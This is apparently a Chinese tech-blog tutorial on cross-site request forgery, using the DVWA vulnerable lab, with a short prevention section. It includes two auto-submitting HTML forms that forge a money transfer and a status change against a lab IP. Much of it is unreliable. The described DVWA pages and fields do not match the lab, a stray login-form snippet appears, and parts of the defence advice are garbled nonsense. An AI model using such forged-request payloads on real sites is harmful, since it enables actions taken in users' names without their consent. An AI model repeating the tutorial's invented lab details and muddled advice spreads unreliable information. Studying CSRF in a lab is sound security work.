DVWA CSRF攻擊分析

一、什麼是CSRF攻擊

跨站請求偽造(Cross-site request forgery,CSRF),也被稱為一次性攻擊,利用Web應用程序已經經過身份驗證的用戶的在線會話。一個惡意網站通過HTML、JavaScript等方法在用戶的瀏覽器端構造惡意請求,從而引導用戶完成一些他並不知情的操作,例如在銀行網站上以他的身份進行轉賬操作。

為了防範CSRF攻擊,應用程序必須採取措施來保證每個請求都是用戶的意願並避免被偽造。常見的措施包括Token驗證、Referer驗證、驗證碼等。

二、DVWA簡介

DVWA是一款用於安全測試的PHP/MySQL web應用程序。DVWA為「Damn Vulnerable Web Application」的縮寫,意思是「超級容易被攻擊的Web應用程序」,是一個合法的漏洞測評環境。

DVWA提供了包括SQL注入、XSS、CSRF、文件包含、文件上傳等多個漏洞測試,在安裝DVWA後,就可以對它進行測試,幫助用戶了解這些漏洞的作用以及如何防範。

三、DVWA CSRF攻擊實驗

在DVWA中,包含了一部分CSRF攻擊的示例。我們可以通過攻擊它們來了解CSRF攻擊的本質及其防護方案。

1.設置DVWA

先訪問DVWA,用管理員賬戶登陸。DVWA的攻擊等級有高、中、低,這裡選擇中等難度。

<input name="username" class="loginInput" id="username" tabindex="1" 
type="text" value="" size="20" autocorrect="off" autocapitalize="off" /> 
<input name="password" class="loginInput" id="password" tabindex="2" 
type="password" size="20" autocorrect="off" autocapitalize="off" /> 

2.CSRF攻擊實例1 – 轉賬操作

找到「CSRF防禦 – 獲取cookies」的頁面,獲取cookies字元串,然後拼接轉賬攻擊的HTML文件。攻擊文件通過iframe嵌入到惡意網站中。大多數web瀏覽器對iframe有限制,不能通過iframe直接更改頂層瀏覽器的URL,為了規避此限制,攻擊者通常會使用JavaScript提交表單。而此時,由於DVWA沒有加入任何CSRF防護機制,所以我們可以構造如下的表單:

<html>
  <head>
  </head>
  <body>
    <form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="voucher" value="4fc908000001">
      <input type="hidden" name="transferAmount" value="10">
      <input type="submit" value="轉帳">
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html> 

3.CSRF攻擊實例2 – 更新狀態

找到「CSRF防禦 – 強制驗證」頁面,開發一個HTML文件提交攻擊請求:更新狀態。可以找到我們需要的用戶和驗證碼,通過構造如下表單提交請求,可以成功更新狀態:

<html>
  <head>
  </head>
  <body>
    <form action="http://192.168.111.129/vulnerabilities/csrf/" method="POST">
      <input type="hidden" name="form" value="update" />
      <input type="hidden" name="id" value="7" />
      <input type="hidden" name="status" value="Enrolled" />
      <input type="hidden" name="vtoken" value="9YX4C8BA731E8637A6BAFF7C033DA427" />
      <input type="submit" value="Save Details" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html> 

四、如何預防CSRF攻擊

1.使用Token驗證

使用Token驗證是當前最常用的防禦CSRF攻擊的方法。Token是Web應用程序為了限制客戶端請求的來源而引入的一種驗證方式。Token時刻都在變化,因此一個攻擊者無法準確地構造合適的請求。

Token驗證的方式大致有如下兩種:

  1. 將Token放入URL中的每個請求。可以是用相當的複雜性和義務處理Token的邏輯。
  2. 將Token放在HTTP協議的頭部,每個請求都帶有Token。適合複雜場景和RESTful API。

2.使用Referer驗證

但是,有一些客戶端顯示如何突破Referer來進行CSRF攻擊,使用Referer驗證是在伺服器端驗證HTTP Referer信息的合法性。Referer是一個用於標識HTTP請求來源如何到達現在請求的一部分信息。使用Referer驗證,可以在一定程度上避免CSRF攻擊。但需要注意的是,一些瀏覽器會禁用Referer頭部。在這種情況下,僅依賴專有Referer是不太可靠的,而且可能會導致一些諸如圖片、文件等資源的問題。

3.使用驗證碼

特別是在用戶和網站交互方式不是很頻繁的情況下,可以使用驗證碼。使用400回復驗證碼,可以保護用戶提交的數據和請求的情況,更好地保護用戶數據。

最後

CSRF攻擊的危害是很大的,攻擊者可以藉助這種攻擊手段突破Web應用程序的安全限制,實現很多惡意操作。為了更好的保護用戶數據和Web應用程序的安全,我們需要在編寫Web應用程序前考慮開發相關的安全機制,並且在運行應用程序時隨時檢查和更新安全事項。

原創文章,作者:HQTRQ,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/331414.html

(0)
打賞 微信掃一掃 微信掃一掃 支付寶掃一掃 支付寶掃一掃
HQTRQ的頭像HQTRQ
上一篇 2025-01-16 15:46
下一篇 2025-01-16 15:46

相關推薦

  • CSRF攻擊原理與解決方法

    一、XSS攻擊原理與解決方法 XSS攻擊(Cross Site Script)是指攻擊者在網頁中嵌入惡意的腳本代碼,當用戶訪問這個網頁時,可以將用戶的cookie、session等…

    編程 2025-02-05
  • DVWA CSRF攻擊分析

    一、什麼是CSRF攻擊 跨站請求偽造(Cross-site request forgery,CSRF),也被稱為一次性攻擊,利用Web應用程序已經經過身份驗證的用戶的在線會話。一個…

    編程 2025-01-16
  • python之csrf簡介的簡單介紹

    本文目錄一覽: 1、python如何把csrftoken寫入cookie 2、Python後端工程師面試題目有哪些 3、python學科都學習寫什麼 4、Python Post遇到…

    編程 2025-01-13
  • json的csrf的利用(json csrf)

    本文目錄一覽: 1、如何在JSON端點上利用CSRF漏洞 2、CSRF 攻擊是什麼 3、CSRF實例 4、json格式,CSRF如何防禦? 5、JSON必知必會 如何在JSON端點…

    編程 2025-01-11
  • dvwa如何產看php源碼,dvwa的搭建和使用

    本文目錄一覽: 1、zend studio怎麼搭建dvwa 2、怎麼在kali linux上進入dvwa 3、如何在xmapp上搭建dvwa 4、dvwa怎麼查看low等級代碼 5…

    編程 2024-12-29
  • DVWA通關教程:從安裝到破解

    一、DVWA安裝教程 1、首先下載DVWA壓縮包,解壓到Web伺服器的www目錄下; cd /var/www/ wget https://github.com/ethicalhac…

    編程 2024-12-27
  • DVWA SQL注入的詳細闡述

    一、基本概念 DVWA(Damn Vulnerable Web Application)是一個用於漏洞測試的Web應用程序,其目的是讓安全愛好者和安全專業人員使用不同的技術和方法來…

    編程 2024-12-21
  • php審計dvwa(php審計代碼教程)

    本文目錄一覽: 1、如何使用docker中的php環境來調試代碼 2、按流程用phpstudy裝dvwa為什麼最後127.0.0.1登不上 3、dvwa怎麼查看low等級代碼 4、…

    編程 2024-12-12
  • CSRF原理詳解

    一、CSRF原理過程 CSRF(Cross-site request forgery)跨站請求偽造,是一種網路攻擊方式,攻擊者利用受害者已登錄的身份,在不知情的情況下發送惡意請求,…

    編程 2024-12-12
  • DVWA SQL注入詳解

    一、什麼是SQL注入 SQL注入是指攻擊者通過輸入非法的SQL語句,從而進入系統的資料庫中,從而控制可執行的SQL語句。如果攻擊者成功利用SQL注入,他們可以從資料庫中獲取數據,修…

    編程 2024-11-05

發表回復

登錄後才能評論